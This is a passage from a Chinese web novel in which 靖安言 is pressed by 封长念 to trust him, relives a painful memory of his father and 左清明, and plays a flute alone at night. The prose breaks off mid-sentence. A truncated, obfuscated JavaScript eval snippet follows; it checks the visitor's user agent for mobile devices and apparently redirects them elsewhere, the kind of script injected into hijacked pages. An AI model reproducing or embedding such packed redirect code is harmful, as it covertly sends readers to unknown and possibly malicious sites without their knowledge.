语调有些低沉,一如他的情绪,“而且,我告诉你这些不是想说我什么都知道,我只是想让你……多信任信任我。”
信任他,相信他真的已经长大了,已经可以独当一面,甚至可以挡在靖安言身前,替他遮去他不想经历的、不愿经历的风霜雨雪。
昔日,是靖安言做参天大树,为少年封珩遮风挡雨,如今封长念比他曾经更加枝繁叶茂,于是便能将他拢在自己的荫蔽下,不必再吃那么多的苦。
……不用再哭着笑。
他再也不想看见靖安言那种表情了。
靖安言听后却轻轻地勾了勾唇角,避开了封长念那束近乎渴求的目光。
“……如果你非要我求点儿什么,那我就只想问你一个问题。”封长念抿了抿唇,“你是谁?”
那一瞬仿佛被雷劈中,靖安言的神色微妙地一变,有些茫然地望向封长念,同时也是在望向他自己。
……我是谁。
这个问题仿佛撞到了他心底沉寂的古钟,震荡去上面堆积十年的尘灰,声音古朴又庄重,余音绕梁,在耳边盘桓不肯去。
直到他们和夷月等人会合,这个问题依旧兀自在他脑中回响。
我是谁。
仿佛灵魂中有另一个自我,血迹斑斑地掩藏在角落,捆缚双手,眼含血泪:“我是谁?是啊,我是谁呢?”
而抬眼,是他父亲靖深痛苦地向他伸出手:“……安言,你听我说。这件事情不是你想的那样……”
粗粝的指腹摸在他的眼角,他那年不过十九岁,本以为有着明明白白、坦坦荡荡的前路,可他却突然再也看不到了。
他双手绞紧绳子,麻绳磨破了他引以为傲的那双手,仿佛手痛了别的地方就不会痛,结果发现都是骗人的。
“我不是……”靖安言眉心蹙紧,“我没有……没有那么……能去负担这样一个……”
这样一个让他喘息都困难的秘密。
靖深最终起身走了,可靖安言也看见了他转身时连点成线的泪。
然后门一开一合,是左清明进来了。
“……老头儿。”靖安言哑声道,“你早知道是不是?”
左清明不语,只是轻手轻脚给他解开了绳索,又拿来了药油,给他仔仔细细地涂抹到伤痕处。
“我是谁?”靖安言盯着他,“小时候你让我去街上蹲爹娘……你现在告诉我。我是谁?”
左清明握着他的手腕,终于看了他一眼:“你是——”
靖安言蓦地睁眼。
他睡着了,还因为那个问题,做了一个梦,一个真实发生的过去,一个真切发生的旧事。
燃着的火堆悄悄地在夜色中发出轻微爆破声,他环顾了一下四周,所有人都睡了。
封长念靠在他的旁边,呼吸平稳,眼下却有淡淡的乌青,想必这一趟劳心劳力,也是累坏了。
靖安言静静地看了他一会儿,然后轻手轻脚地起身了。
靖安言特别喜欢夜晚的丛林,觉得这里安静、神秘,温柔又无言,可以把什么都吞得下。
包括他的恨、他的不解、他的不甘和不忿。
他走了一会儿,感觉距离够远了,挑了棵树三下五除二翻上去,将腰间的玉笛拆下来,不多时,笛音缓缓倾泻。
这首曲子是靖安言一直很喜欢的,笛音不似杀人时那般激昂,反倒像是被大雨淋湿了翅膀的鸟儿,挣扎着、挣扎着,再也飞不到天空中去,有一种砭人肌骨的悲凉。
他出神地吹着调子,最后一个音收尾,封长念的声音恰好接上。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|naviga